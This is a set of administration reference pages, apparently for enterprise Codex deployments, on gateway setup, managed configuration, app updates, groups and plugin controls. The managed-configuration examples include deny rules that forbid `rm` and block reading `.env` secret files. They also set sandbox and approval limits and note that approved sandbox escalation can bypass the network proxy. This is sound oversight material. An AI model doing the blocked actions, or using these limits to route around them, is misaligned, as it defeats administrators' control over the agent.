Command-backed credential helper (do not combine with `env_key`):
```toml
[model_providers.enterprise-gateway.auth]
command = "/usr/local/bin/fetch-codex-gateway-token"
args = ["print-token"]
timeout_ms = 30000
refresh_interval_ms = 300000
```
Windows helper (single-quoted literal string preserves backslashes):
```toml
[model_providers.enterprise-gateway.auth]
command = 'C:\Program Files\OpenAI\Codex\fetch-codex-gateway-token.exe'
args = ["print-token"]
timeout_ms = 30000
refresh_interval_ms = 300000
```
Verify with a new task:
```text
Reply with exactly: gateway-ok
```
## Troubleshooting
| Symptom | What to check |
|---------|---------------|
| The expected provider isn't active. | Check the selected profile and configuration precedence; confirm top-level keys aren't inside a provider table. |
| Authentication fails. | Check that the credential variable reaches the client process, or that the helper can retrieve a current token; distinguish gateway from upstream authentication. |
| The model isn't found. | Confirm the supplied model name; ask the administrator to check its route. |
| The model uses unexpected capabilities. | Check that catalog metadata matches the model behind the alias. |
| Streaming stalls or follow-ups fail. | Check proxy buffering, the terminal `response.completed` event, and gateway compatibility. |
| A catalog or helper path fails. | Confirm the file exists at the configured absolute path in the environment running Codex. |
## Notes
- Values to obtain from the gateway team: HTTPS base URL including its API path (for example `https://gateway.example.com/v1`), model name and provider ID, scoped credential and its environment variable (or token resolver), and any catalog URL or file.
- Check for an existing configuration first: in the CLI inspect the selected profile, run `codex doctor`, and use `/status` after startup.
- `enterprise-gateway` is an illustrative provider ID; use the same ID in `model_provider`, `[model_providers.<id>]`, and `[model_providers.<id>.auth]`. The example disables web search for the initial test.
- Remove any effective `model_catalog_json`; it takes precedence over `model_catalog_url`. If a custom header is your only authentication mechanism, use `model_catalog_json`; remote catalog discovery won't run.
- Custom aliases need matching catalog metadata. Use `gpt-6-sol` without a custom catalog only if the administrator confirms your Codex version recognizes it.
- Don't put credentials in TOML or a repository. A variable set in a terminal may not reach an app launched from the desktop; restart the app after changing configuration. Inside WSL, use the Linux configuration unless `CODEX_HOME` points elsewhere.
- Codex doesn't install the helper executable. Use resolved absolute paths for helpers and catalog files.
- A response doesn't prove which route handled it; ask the administrator to confirm gateway records show your user, model alias, and upstream route. Don't ask the model its name.
- MCP servers and plugins are configured separately; a gateway credential doesn't authorize access to them.
- For ChatGPT sign-in with a gateway see the sign-in page; for direct Bedrock without a gateway see Amazon Bedrock docs.
- Source: https://learn.chatgpt.com/docs/enterprise/connect-to-a-gateway (retrieved 2026-10).
## Related
- [Roll out a gateway](./roll-out-a-gateway.md)
- [Gateway compatibility requirements](./gateway-compatibility.md)
- [Sign in with ChatGPT through a gateway](./sign-in-with-chatgpt-through-a-gateway.md)
- [Bedrock through LiteLLM](./bedrock-through-litellm.md)
references/administration/gateway-compatibility.md
# Gateway compatibility requirements
Responses API behavior an LLM gateway must preserve for the API/provider credential path: endpoints, streaming, continuation, tool calls, authentication, routing, and useful errors.
## Signature / Usage
Configure the provider with the Responses wire API; the gateway must accept `POST /v1/responses` for a base URL such as `https://gateway.example.com/v1`.
```toml
[model_providers.enterprise-gateway]
base_url = "https://gateway.example.com/v1"
wire_api = "responses"
```
Model traffic path:
```text
Codex client -> LLM gateway -> model provider
```
## Options / Props
| Area | Requirement |
|------|-------------|
| Requests and endpoints | `wire_api = "responses"`; accept `POST /v1/responses` and preserve fields the client uses. Chat Completions or Anthropic Messages endpoints don't establish compatibility. Health and model-list endpoints are optional aids. |
| Streaming | Forward SSE incrementally; preserve event types and payloads including terminal `response.completed`; forward error and failure events. Verify through load balancers and reverse proxies. |
| Continuation | Accept replayed prior messages, tool calls, and tool results. If WebSocket or incremental transport is enabled, verify `previous_response_id` too. |
| Tools | Preserve function-call items and matching `function_call_output` items with identifiers; the full call, execute, submit, final-answer loop must work. |
| Authentication | Support `env_key` or command-backed bearer tokens, or `env_http_headers` for custom-header credentials. Authenticate developers separately from the upstream provider identity; test expiration, renewal, revocation. |
| Model routing | Each Codex-facing model name routes to the intended upstream model; verify in gateway records. |
| Errors | Distinguish client authentication errors, unknown model routes, rate limits, and upstream failures; don't collapse into a generic `500`. |
Qualification checklist (record evidence per client/gateway/model combination): Responses request and response fields; incremental SSE delivery and terminal completion; follow-up turns with replayed input; `previous_response_id` when the transport uses it; function calls, matching results, final answer; correct routing and metadata; per-user attribution, renewal, revocation; useful authentication, routing, rate-limit, upstream errors; redacted diagnostics and logging policy.
## Notes
- Use a model name recognized by the deployed Codex version, or supply a matching catalog for a custom alias. Check `codex --version`, select the matching `rust-v<version>` tag of the Codex model catalog (`codex-rs/models-manager/models.json`; custom build: its source commit; desktop: bundled CLI version), and read `slug` values for recognized names.
- Catalog metadata informs client behavior; it doesn't add capabilities or create routes. For an organization-owned alias without a migration set `upgrade` to `null`; any replacement model must also route through the gateway. A generic gateway connection doesn't receive the metadata adjustments of Codex's built-in provider integrations.
- A gateway accepting a request field doesn't prove the upstream model implements that capability; test the actual models and features.
- Prompts, source excerpts, tool arguments, and tool results can pass through the gateway; set logging, retention, redaction, access, and export controls.
- The model gateway doesn't route every Codex connection: local commands, MCP servers, plugin services, browser and app interactions can have separate network paths and credentials.
- For gateways that forward ChatGPT workspace requests, see the ChatGPT sign-in page.
- Source: https://learn.chatgpt.com/docs/enterprise/gateway-compatibility (retrieved 2026-10).
## Related
- [Roll out a gateway](./roll-out-a-gateway.md)
- [Use API/provider credentials through a gateway](./connect-to-a-gateway.md)
- [Sign in with ChatGPT through a gateway](./sign-in-with-chatgpt-through-a-gateway.md)
- [Bedrock through LiteLLM](./bedrock-through-litellm.md)
references/administration/governance.md
# Governance
Choose the appropriate analytics, usage, and audit surface for each administration question.
## Overview
Governance for Codex activity spans interactive analytics, programmatic reporting, related ChatGPT usage controls, and audit records. Analytics and compliance data serve different purposes.
## Signature / Usage
| If you need to | Start with |
|-----------------|------------|
| Understand adoption across ChatGPT | [Workspace analytics](./workspace-analytics.md) |
| Review Codex adoption/activity interactively | Codex analytics dashboard |
| Load aggregated Codex reporting into another system | [Analytics API](./analytics-api.md) |
| Export records for audit or investigation | [Compliance API and audit events](./compliance-api.md) |
| Review plan-dependent ChatGPT workspace credit controls | [ChatGPT usage limits and spend controls](./usage-limits.md) |
## Administration surfaces
- [Workspace analytics](https://chatgpt.com/admin/usage) — interactive workspace reporting
- Authenticated [Codex Analytics API reference](https://chatgpt.com/codex/cloud/settings/apireference) — scheduled, programmatic reporting
- Authenticated [Admin API reference](https://chatgpt.com/admin/api-reference) — audit and investigation integrations
## Analytics dashboard, usage controls, and APIs
- Analytics dashboard: ChatGPT provides workspace-wide analytics for broad adoption and engagement; Codex analytics focuses on Codex activity. Both are interactive reporting surfaces, not raw audit logs; the Workspace analytics guide describes current roles and views. Examples: workspace analytics for a quick adoption check, the Analytics API to load aggregated Codex reporting into a business intelligence system, the Compliance API to send auditable records to a SIEM or electronic discovery workflow.
- Related ChatGPT usage controls: separate from analytics and don't configure feature entitlements; depending on the plan, eligible Codex activity can consume ChatGPT workspace credits, and exhausted limits can pause access to eligible features. They don't set a universal Codex limit or govern Platform API billing.
- Analytics API: for programmatic, aggregated Codex reporting (data warehouses, business intelligence, internal reporting that shouldn't depend on an interactive dashboard); the API reference covers access requirements, routes, schemas, fields, reporting windows, and pagination. The Codex Analytics API reference is at https://chatgpt.com/public/admin/api-reference (tag Codex Enterprise Analytics).
- Compliance API: for security, legal, and governance workflows needing auditable records (not an adoption or productivity dashboard). Local computer access with Work Cloud has the same Compliance API support as Work Cloud with records under `conversation_message` and `codex_log`; local execution generates separate OpenTelemetry events collected through an OTel collector endpoint. Use the policy API for Global settings and the Agent Security UI for Local and Codex Cloud settings; test hook-based auditing separately. Conversation visibility alone doesn't establish a complete record of local actions. See compliance-api.md.
## Notes
- ChatGPT workspace analytics covers broad adoption/engagement; Codex analytics focuses on Codex activity. Both are interactive reporting, not raw audit logs — don't build a durable reporting contract from dashboard labels or downloaded report fields.
- ChatGPT workspace usage controls (credits) are separate from analytics and don't configure feature entitlements; eligible Codex activity can consume workspace credits and exhausted limits can pause access to eligible features.
## Related
- [Admin rollout guide](./admin-rollout-guide.md)
- [Workspace analytics](./workspace-analytics.md)
- [Analytics API](./analytics-api.md)
- [Compliance API and audit events](./compliance-api.md)
references/administration/groups-and-provisioning.md
# Groups and provisioning
Understand group membership sources and their workspace access boundary.
## Overview
Groups organize ChatGPT workspace access for members and support custom roles. Group membership is separate from local runtime policy and permissions in connected systems.
## Membership management options
| Approach | Best for |
|----------|----------|
| Manually managed groups | Small, temporary groups, or groups not managed through directory sync |
| Identity-provider-managed groups (SCIM) | Membership that should follow the organization's directory and member-removal process |
## Use current setup procedures
- Workspace owners and admins can create and manage groups. Use groups for people with a shared access need (a pilot cohort, workspace operators, members needing the same supported feature). Each group has one authoritative membership source: manually managed (ChatGPT workspace administration), identity-provider managed (SCIM), or dynamic (rules evaluated against SCIM user attributes such as department or location, defined in ChatGPT Admin). Manual and identity-provider-managed groups can coexist; for identity-provider-managed groups the identity provider is the membership source and later provisioning updates can overwrite workspace-side changes.
- Group membership doesn't replace seat assignments, grant workspace feature permissions by itself, override local runtime policy, or provide access to the Platform API or connected systems. Workspace owners can assign custom roles to groups or directly to members. This page's source says an explicit **Off** in any role denies that permission even when another role grants it, whereas the roles page says ordinary role permissions combine additively (another assigned role can still grant access); check every applicable role and verify effective access. A member's seat type and product eligibility still apply.
- Verify joiners, movers, and leavers: joiners accept any pending invitation and receive the intended seat, group memberships, permissions, and features; movers need the authoritative membership source updated and effective permissions verified across all applicable roles; leavers who are SCIM-managed must be removed at the identity provider (removing only from the workspace lets a later sync restore access). The Help Center owns current SCIM provisioning behavior and setup steps.
## Notes
- SCIM provisioning doesn't grant permissions in GitHub, Google Drive, Slack, or another connected system, and doesn't replace local runtime requirements.
- Workspace RBAC and local runtime requirements are distinct control systems — group order doesn't imply permission precedence. See [Managed configuration](./managed-configuration.md) for documented delivery/precedence rules.
## Related
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Admin rollout guide](./admin-rollout-guide.md)
- [Access tokens](./access-tokens.md)
references/administration/manage-app-updates.md
# Manage app updates
Control how your organization updates the ChatGPT desktop app on macOS and Windows.
## Overview
The ChatGPT desktop app normally self-updates. Organizations that need to review releases before rollout can turn off the built-in updater via managed configuration and deploy approved versions through their device-management platform. Turning off the in-app updater doesn't stop the Microsoft Store, Intune, MDM, or package managers from installing updates.
## Signature / Usage
Disable the desktop app's own updater via a managed policy:
```toml
[features]
in_app_updates = false
```
Set this in [Managed configuration](https://chatgpt.com/codex/settings/managed-configs) > Add policy > Targets (Groups/Users/Platforms) > Raw TOML > `requirements.toml` editor. To restore normal updates, remove `in_app_updates = false` from every applicable policy/MDM profile and have users fully quit and reopen the app.
## Verification
Settings > General > **In-app updates** should show **Managed** with "Your organization has turned off in-app updates." The **Check for Updates** menu item can remain visible even when blocked — trust the **Managed** indicator instead.
## Before you begin / procedure
- Prerequisites: Codex administrator access to Managed configuration for your workspace; a macOS or Windows app release that supports organization-managed updates; an MDM or software-deployment platform that can install approved packages; a process for testing releases, deploying security updates, and tracking installed versions. If the app isn't yet deployed on Windows start with windows-deployment.md.
- Policy steps: open Managed configuration > **Add policy** (or an existing policy) > **Targets** > **Add target** (**Groups**, **Users**, or **Platforms**; start with a pilot group) > **Raw TOML** `requirements.toml` editor > add `[features] in_app_updates = false` (add to an existing `[features]` table, never a second one or `config.toml`) > **Save changes** > ask users to fully quit and reopen the app (closing the window isn't always enough). Some workspaces show a policy-list editor instead of **Raw TOML**; add the same TOML block and use **Groups** to assign.
- Verify: **Settings** > **General** > **In-app updates** shows **Managed** with "Your organization has turned off in-app updates."; confirm your device management platform can still deploy an approved version. If the indicator doesn't appear after the first restart the app might still use a cached policy; allow it to refresh, fully quit and reopen again, and don't rely on the restriction until **Managed** appears.
- Deploy approved versions: choose a version, get the package for each OS and architecture, test with a small group, deploy via Intune, your MDM platform, or another tool, check device inventory, then expand. Rolling back doesn't extend support or guarantee service compatibility. macOS installer: `https://persistent.oaistatic.com/codex-app-prod/ChatGPT.dmg`; Windows packages are in windows-deployment.md.
- Turn updates back on: identify managed policies, system `requirements.toml` files, and MDM profiles that set `in_app_updates = false`; remove it from each `[features]` table; save and redeploy device-managed requirements; ask users to fully quit and reopen; confirm the **In-app updates** managed row no longer appears (if it still does, review other policies and see Locations and precedence in managed-configuration.md).
- Security and support: the policy prevents the app from checking for, downloading, or installing updates through its own updater, and doesn't provide OpenAI-managed version pinning, a separate release channel, or guaranteed service compatibility for older versions; delaying updates can leave the app and bundled components exposed to known vulnerabilities.
- Troubleshoot: if **Managed** doesn't appear confirm the user selected the intended workspace, the policy targets that user/group/platform, the device runs a supported app version, the app can reach the policy-delivery service, the setting is in `requirements.toml`, and the user fully restarted the app. If you can't open Managed configuration or save a policy, confirm you have Codex administrator access. If the version changes after disabling in-app updates, check whether Microsoft Store, Intune, MDM, a package manager, or another system installed it.
## Notes
- After disabling, the organization is responsible for promptly deploying new releases and security fixes; older versions don't receive separate patches or extended support.
- The setting must be in `requirements.toml`, not `config.toml`.
- Applies only to the ChatGPT desktop app on macOS/Windows — not mobile apps, Codex CLI, or the IDE extension.
- If the app can't reach the policy-delivery service (auth/connection/timeout issues), the built-in updater can remain enabled — don't assume updates are blocked unless **Managed** appears.
## Related
- [Managed configuration](./managed-configuration.md)
- [Deploy the Windows app](./windows-deployment.md)
- [Admin rollout guide](./admin-rollout-guide.md)
references/administration/managed-configuration.md
# Managed configuration
Enforce runtime requirements across supported local clients (ChatGPT desktop app, Codex CLI, IDE extension) and distribute managed defaults.
## Overview
Managed configuration controls supported local runtime behavior. It doesn't grant ChatGPT workspace access, assign seats, or replace workspace RBAC — use [Roles and workspace permissions](./roles-and-workspace-permissions.md) for that. Two mechanisms:
- **Requirements** (`requirements.toml`) — admin-enforced constraints users can't override.
- **Managed defaults** (`managed_config.toml`) — starting values applied at launch; users can still change settings during a run, but the client reapplies managed defaults next launch.
## Signature / Usage
Allow only read-only and workspace permission profiles (Codex 0.138.0+):
```toml
default_permissions = ":workspace"
[allowed_permission_profiles]
":read-only" = true
":workspace" = true
# ":danger-full-access" omitted -> denied
```
Block never-approve / full-access sandbox modes (legacy); this example blocks `--ask-for-approval never` and `--sandbox danger-full-access` (including `--yolo`). `untrusted` here only preserves the stricter approval behavior derived from `trust_level = "untrusted"`; it doesn't make `approval_policy = "untrusted"` a supported explicit setting:
```toml
allowed_approval_policies = ["untrusted", "on-request"]
allowed_sandbox_modes = ["read-only", "workspace-write"]
```
Managed least-privilege custom profile (Codex 0.138.0+; organization-specific names, can't start with `:` or be `filesystem`):
```toml
default_permissions = "acme_review_only"
[allowed_permission_profiles]
":read-only" = true
":workspace" = true
acme_review_only = true
[permissions.acme_review_only]
description = "Review code without modifying the workspace."
extends = ":read-only"
```
Restrict plugin marketplace sources:
```toml
[marketplaces]
restrict_to_allowed_sources = true
[marketplaces.allowed_sources.company_plugins]
source = "git"
url = "https://github.com/example/company-plugins.git"
ref = "main"
[marketplaces.allowed_sources.internal_git]
source = "host_pattern"
host_pattern = '^git\.example\.com$'
[marketplaces.allowed_sources.local_plugins]
source = "local"
path = "/opt/company/codex-plugins"
```
Network access requirements:
```toml
[experimental_network]
enabled = true
managed_allowed_domains_only = true
[experimental_network.domains]
"api.openai.com" = "allow"
"**.example.com" = "allow"
"blocked.example.com" = "deny"
```
Authentication (local system `requirements.toml` or macOS MDM only):
```toml
allowed_login_methods = ["chatgpt"]
allowed_chatgpt_workspaces = ["00000000-0000-0000-0000-000000000000"]
cli_auth_credentials_store = "keyring"
```
Enforce command rules:
```toml
[rules]
prefix_rules = [
{ pattern = [{ token = "rm" }], decision = "forbidden", justification = "Use git clean -fd instead." },
{ pattern = [{ token = "git" }, { any_of = ["push", "commit"] }], decision = "prompt", justification = "Require review before mutating history." },
]
```
## Options / Requirement keys
| Key | Controls |
|-----|----------|
| `allowed_approval_policies` / `allowed_approvals_reviewers` | Which approval policies/reviewers (e.g. `auto_review`) users can select |
| `allowed_sandbox_modes` | Legacy sandbox-mode allowlist (`read-only`, `workspace-write`, `danger-full-access`) |
| `allowed_permission_profiles` / `default_permissions` | Permission-profile allowlist (Codex 0.138.0+; preferred over sandbox modes) |
| `allow_appshots` | Enable/disable Appshots |
| `allow_remote_control` | Enable/disable device remote control (not SSH remote connections) |
| `[[remote_sandbox_config]]` | Per-hostname sandbox-mode overrides |
| `allowed_web_search_modes` | Web search mode allowlist |
| `[experimental_network]` | Centrally defined network access rules (experimental; limited Windows support) |
| `[features]` | Pin feature flags (e.g. `in_app_updates`, `browser_use`, `computer_use`, `hooks`) |
| `[computer_use].allow_locked_computer_use` | Restrict Computer Use after a managed Mac locks |
| `guardian_policy_config` | Replace tenant-specific automatic-review policy text |
| `[permissions.filesystem].deny_read` | Deny-read paths/globs users can't override |
| `[hooks]` + `managed_dir` | Enforce managed lifecycle hooks; `allow_managed_hooks_only = true` skips user/project/session/plugin hooks |
| `[rules].prefix_rules` | Enforced command rules (`decision` must be `prompt` or `forbidden`) |
| `[mcp_servers.<name>].identity` | Restrict which MCP servers a client can enable, by command or URL |
| `features.plugins = false` | Disable plugins entirely |
| `[marketplaces]` | Restrict user-configured plugin marketplace sources (`restrict_to_allowed_sources`, `[marketplaces.allowed_sources.<name>]` with `source` `git` / `host_pattern` / `local`) |
| `[browser_use]` / `[computer_use]` | Browser origin policy and native-app access (`[computer_use.macos.bundle_ids]`, `windows.aumids`, `windows.exes`); `allow_webmcp`, `allow_history_access`, `disable_auto_review`, `allow_global_persistent_approval` |
| `[application.network]` | Desktop app network destinations (exact domains over HTTPS / WSS) |
| `guardian_extra_policy` / `additional_developer_instructions` | Extra automatic-review policy / managed developer instructions |
| `allowed_login_methods`, `allowed_chatgpt_workspaces`, `cli_auth_credentials_store`, `chatgpt_base_url` | Authentication requirements; set in the local system `requirements.toml` or macOS MDM (ignored in cloud-managed requirements) |
| `[windows]` `allow_mxc` / `allowed_sandbox_implementations` | Windows sandbox constraints |
## Locations and precedence
Requirements (low to high precedence): system `requirements.toml` (`/etc/codex/requirements.toml` or `%ProgramData%\OpenAI\Codex\requirements.toml`) → enterprise-managed requirements (cloud config bundle) → legacy `managed_config.toml` fields reinterpreted as requirements → macOS MDM (`com.openai.codex:requirements_toml_base64`).
Managed defaults (top overrides bottom): macOS MDM preferences → `managed_config.toml` (`/etc/codex/managed_config.toml` Unix, `~/.codex/managed_config.toml` Windows) → user's `config.toml`. CLI `--config` overrides apply to the base but managed layers still win.
## Notes
- Three mechanisms: requirements (admin-enforced, can't be overridden), configuration defaults (system or cloud-managed `config.toml` settings users can override), and legacy managed defaults (`managed_config.toml`). Support depends on the product, client version, and execution environment. Managed configuration doesn't grant a workspace seat or feature access.
- Agent Security (Admin Console) replaces Policies & Configuration, keeps existing policies, assignments, and ordering, and is available independently of Local computer access with Work Cloud. Before moving policy automation: inventory Terraform configurations and scripts that update policies; use the policy API for Global settings (Local or Codex Cloud settings use the Agent Security UI); test that updates reach the right policy and assignments and ordering are unchanged. If `enforce_residency` is enabled in any cloud policy, **Allow local computer access** is disabled for Work and dots. Within a policy: OS-specific environment override, then all-OS environment override, then Global; a higher-priority policy wins even if a lower-priority one is more specific. See agent-security.md.
- Plugin marketplaces and defaults: define local or Git marketplaces and plugin defaults in system `config.toml` or the configuration defaults in Agent Security (defaults, not enforced policy). Workspace GitHub import and sync is separate (see plugin-management.md). `requirements.toml` can pin `features.plugins = false` (also applies with API-key sign-in); allowed marketplace sources reject unmatched add, install, and Git refresh and filter configured marketplaces at runtime; OpenAI-curated Git marketplaces (including the API-key catalog) must also match the allowlist (`source = "git"`, `url = "https://github.com/openai/plugins.git"`, no `ref`). Source restrictions apply only to ChatGPT and Codex in the desktop app and Codex CLI.
- Retired `untrusted` approval policy: remove it from managed defaults, `managed_config.toml`, and any user, project, profile, or startup configuration. For interactive read-only use, `approval_policy = "on-request"` with a read-only sandbox or an allowed permission profile. To keep stricter approvals, omit `approval_policy`, set `trust_level = "untrusted"` for the project in user-level `~/.codex/config.toml`, and keep `untrusted` in `allowed_approval_policies`. For Codex 0.138.0+, prefer `allowed_permission_profiles` with managed `default_permissions`; use `allowed_sandbox_modes` for legacy deployments.
- Conflicts: when a value conflicts with an enforced rule, the local client falls back to a compatible value and notifies the user. An `mcp_servers` allowlist enables a server only when both name and identity match (an empty table disables all MCP servers); string `identity.command` matches only the command (not `args`, `cwd`, `env`, `env_vars`); structured matches use `executable` plus ordered `args` with `exact`, `prefix`, or full-value `regex`; plugin-bundled servers use `plugins.<plugin>.mcp_servers.<server>`.
- Layer composition: higher-precedence layers override scalar and list values; tables merge by key; rules, hooks, and filesystem restrictions have field-specific composition. Legacy `approval_policy`, `approvals_reviewer`, and `sandbox_mode` fields are reinterpreted as requirements (use `requirements.toml` for explicit allowlists). MDM and legacy managed-device requirements rank above Agent Security; the device's system requirements file ranks below it.
- Network policy by environment (same domain key within one policy): Global Deny + environment Allow = allowed in that environment; Global Allow + environment Deny = blocked; no override inherits Global; an Allow doesn't bypass a different matching Deny (e.g. an inherited wildcard) and an empty environment map doesn't clear inherited rules. Orchestrator limits: managed HTTP/SOCKS listener ports and non-loopback proxy listeners are unsupported by the cloud runtime. Verify executor support and test allowed and blocked destinations in each environment. `experimental_network.managed_allowed_domains_only = true` needs administrator-owned Allow entries (a deny-only policy doesn't allow the rest of the internet); don't combine `domains` with legacy `allowed_domains` / `denied_domains`. `[experimental_network]` is experimental and Windows support is limited. The proxy doesn't filter web search, apps and connectors, MCP servers, native-app traffic, or Codex service requests; control those with `allowed_web_search_modes`, `features.apps = false`, `features.plugins = false`, the managed `mcp_servers` list, and feature requirements (`browser_use`, `in_app_browser`, `computer_use`). Approved full sandbox escalation can bypass the command proxy. For Codex Cloud, an explicit `allow_local_binding = false` can prevent reaching the upstream proxy; the Cloud default is true only when no requirement, network profile, or proxy feature setting supplies a value.
- Cloud-managed requirements: delivered when a user signs in with ChatGPT on a supported plan (a delivery channel for `requirements.toml`-compatible policy; not workspace access or RBAC). The client checks a valid identity-matched cache, otherwise fetches the bundle with retries and writes a signed cache entry; if the request fails or times out with no valid cache the load returns an error rather than silently starting without the layer. A background refresh updates the cache for a later start. Don't rely on a copied group-matching algorithm. Authentication requirements (`allowed_login_methods`, `allowed_chatgpt_workspaces`, `cli_auth_credentials_store`, `chatgpt_base_url`) must be managed locally; user `forced_login_method` / `forced_chatgpt_workspace_id` must follow them, and if no login method is available Codex refuses to start.
- Appshots / device remote control: `allow_appshots = false` disables Appshots; `allow_remote_control = false` disables device remote control (not SSH remote connections); omitting either leaves normal availability. Web search: `allowed_web_search_modes = ["cached"]` prevents live search even in `danger-full-access`; `[]` allows only `disabled`. Host-specific sandbox: first matching `[[remote_sandbox_config]]` entry wins within a source (case-insensitive patterns, FQDN preferred); host-name matching is for policy selection only, not authenticated device proof.
- Browser and Computer Use: origins include scheme, host, and optional port (no path, query, or fragment) and, unlike command-network domain rules, distinguish HTTP from HTTPS and match the port. Matching origin rules resolve per field (a deny wins; the default origin policy fills unspecified fields); local config can add restrictions but can't relax a managed deny. `browser_use.disable_auto_review = true` (or `auto_review = "deny"` per origin) controls approval handling, not model safety monitoring. Windows `exes` rules require `publisher_name`, `product_name`, `access` (optional `binary_name`). `computer_use.allow_locked_computer_use = false` removes the controls for enabling Locked Use (doesn't turn it off if already enabled).
- Feature pins: `[features]` accepts canonical keys (`hooks`, `unified_exec`, `browser_use`, `browser_use_full_cdp_access`, `browser_use_external`, `in_app_browser`, `in_app_updates`, `computer_use`, ...); the runtime normalizes recognized features and rejects conflicting writes. A managed `unified_exec = false` keeps command execution but disables resumable processes and `write_stdin`. `in_app_updates = false` disables the desktop app's updater on restart (see manage-app-updates.md); `computer_use = false` also disables Record & Replay.
- Deny-read: `[permissions.filesystem] deny_read` accepts absolute paths (e.g. `/**/*.env`) or `~`-relative paths (not `./`); when present the runtime rejects full-access permissions and keeps local execution in a read-only or workspace sandbox. On native Windows it applies to direct file tools, not shell subprocess reads.
- Managed hooks: hook config comes from `requirements.toml`; the runtime doesn't distribute scripts in `managed_dir` (deliver via MDM; absolute script paths); `allow_managed_hooks_only = true` skips user, project, session, and plugin hooks. Cloud-orchestrated Work uses `mcp_tool` handlers in Global `requirements.toml`; command, prompt, agent handlers, local or plugin hooks, environment-scoped hooks, and `SessionEnd` MCP hooks aren't supported there; a `PreToolUse` callback error, timeout, or malformed response can fail the hook without blocking, and MCP hooks give no complete Compliance API audit trail. Rules from requirements merge with `.rules` files (most restrictive wins) and must use `decision` `prompt` or `forbidden`.
- Managed defaults (`managed_config.toml`): override the user's `config.toml` and CLI `--config` overrides at startup; users can still change settings during a run and the defaults reapply next launch; the runtime rejects disallowed values. Order (top overrides bottom): macOS MDM, `managed_config.toml`, user `config.toml`. Cloud `config.toml` uses normal configuration precedence and cloud `requirements.toml` uses requirements precedence. If missing, the managed layer is skipped. MDM workflow: base64-encode (no wrapping) the managed TOML under `com.openai.codex` at `config_toml_base64` or `requirements_toml_base64`, push the profile (Jamf Pro, Fleet, Kandji), ask users to restart and confirm the startup config summary, and update the payload to change or revoke; avoid secrets or high-churn values. Example defaults: `approval_policy = "on-request"`, `sandbox_mode = "workspace-write"`, `network_access = false`, `[otel] environment = "prod"`, `exporter = "otlp-http"`, `log_user_prompt = false`.
- Model retirements: replace `gpt-5.5` pinned in managed defaults, macOS MDM profiles, or saved configuration (retires 2026-10-14, noon PDT / 19:00 UTC; use `gpt-6.1-sol` once enabled for the affected users); configurations pinning `gpt-5.4` / `gpt-5.4-mini` follow the GPT-5.4 migration guidance in workspace-model-availability.md. The API and API-key sessions aren't affected.
- Recommended guardrails: prefer `workspace-write` with approvals; reserve full access for controlled containers; keep `network_access = false` unless a security review allows a collector or required domains; pin OTel exporter and environment but keep `log_user_prompt = false` unless policy allows storing prompts; audit drift between local `config.toml` and managed policy. Assign an owner to each managed policy, record target users or groups and the business reason for restrictions, and test an allowed and a blocked workflow (a workspace role or group alone doesn't enforce a local runtime restriction).
- Permission-profile allowlists require Codex 0.138.0+; earlier clients ignore `allowed_permission_profiles` and managed `default_permissions`.
- `[experimental_network]` is experimental — validate on target client versions/OSes before broad rollout; Windows support is limited.
- Don't deploy managed custom permission profiles until the whole fleet is upgraded to a supporting release.
- macOS MDM setup: base64-encode TOML into `config_toml_base64` (managed defaults) or `requirements_toml_base64` (requirements) under the `com.openai.codex` preference domain; compatible with Jamf Pro, Fleet, Kandji.
- Source: https://learn.chatgpt.com/docs/enterprise/managed-configuration (retrieved 2026-10).
## Related
- [Roles and workspace permissions](./roles-and-workspace-permissions.md)
- [Manage app updates](./manage-app-updates.md)
- [Workspace model availability](./workspace-model-availability.md)
- [Admin rollout guide](./admin-rollout-guide.md)
references/administration/plugin-controls.md
# Plugin controls
Understand plugin availability, connector-backed capabilities, actions, and connected-system access.
## Overview
Workspace administrators govern plugin availability and connector access in ChatGPT and Codex through six distinct layers.
## Control layers
| Layer | Governs |
|-------|---------|
| Plugin availability | Whether plugins are accessible to users |
| Bundled skills | Reusable instructions shipped with installed plugins |
| Connector access | Whether connector-backed capabilities can be used |
| Connector actions | Which operations users can perform (read-only vs. custom vs. all) |
| Source authorization | External data access through authenticated identities in the connected service |
| Runtime permissions | Agent capabilities during execution |
## Management locations
- Workspace settings (web and desktop surfaces)
- CLI plugin browser (command-line installations)
- Workspace apps / Permissions & Roles sections
## Capability chain and rollout
- Terminology: **app** and **MCP server** refer to the same connected integration; UI labels such as **Workspace apps** and **App permissions** keep "app". A member can use an MCP server's capabilities only when the plugin and MCP server are available to their role and the authenticated account has access to the connected service (for a shared credential, the member also needs permission to use it). Installing a plugin for everyone doesn't, by itself, provide a shared account (see workspace connections guidance). Plugins in Sites let each visitor use their own connected accounts, with a separate Sites permission per plugin.
- Plugins work in Chat and Work across ChatGPT on the web, desktop, and mobile, in Codex in the ChatGPT desktop app, and through the Codex CLI plugin browser; they aren't available in the IDE extension. ChatGPT and Codex share one public plugin directory.
- Capability chain (use as a two-step rollout: first make the right plugins available, then configure capabilities and permissions): availability (workspace settings for web and desktop; the CLI plugin browser for CLI), included skills (the plugin package and skill controls), MCP server access (**Workspace apps** and **Permissions & roles**), actions and permissions (**Action control** and **App permissions**), service authorization (the connected service and its identity provider), runtime permissions (runtime, sandbox, and approval controls).
- Step 1: workspace plugin controls determine which roles can use or install a plugin; the Codex CLI uses its own plugin browser; import workspace plugins from GitHub with plugin-management.md. Export the public catalog: eligible Enterprise owners and admins open **Admin > Plugins**, select **Public**, and select **Export CSV**; the file `public-plugins-security-review.csv` contains `Plugin Name`, `Plugin Description`, `Date Added (UTC)`, `OpenAI Verified`, `Developer Name`, `Version`, `App Name(s)`, `App Description(s)`, `Skill Name(s)`, `Skill Description(s)` (semicolons separate multiple values); it uses a snapshot up to 48 hours old, includes only public plugins visible to the workspace (not plugins created for it), and isn't available in FedRAMP workspaces.
- Step 2: Manage capabilities from **Workspace apps** and **Permissions & roles**: enable MCP server connections by workspace role; for connections supporting **Action control** allow read-only actions or an approved custom set (including how newly added actions are handled); set **App permissions** for when ChatGPT asks before using a connection. Making an MCP server or plugin available doesn't grant access to files, records, or actions in the connected service; check the workspace role, approved action settings, then the account's permissions in the service. Conversation sync doesn't grant additional access; for Local computer access with Work Cloud, Agent Security's enterprise `apps` and `plugins` requirements apply to local executors (configure through TOML). Hook support is separate from plugin availability: command hooks and hooks from local configuration or plugins don't run under cloud orchestration even when the plugin is allowed.
- Managed settings: `features.plugins = false` disables plugins, and the managed `[marketplaces]` / `[plugins]` / `[skills]` settings control marketplace sources and plugin defaults (see managed-configuration.md and plugin-management.md).
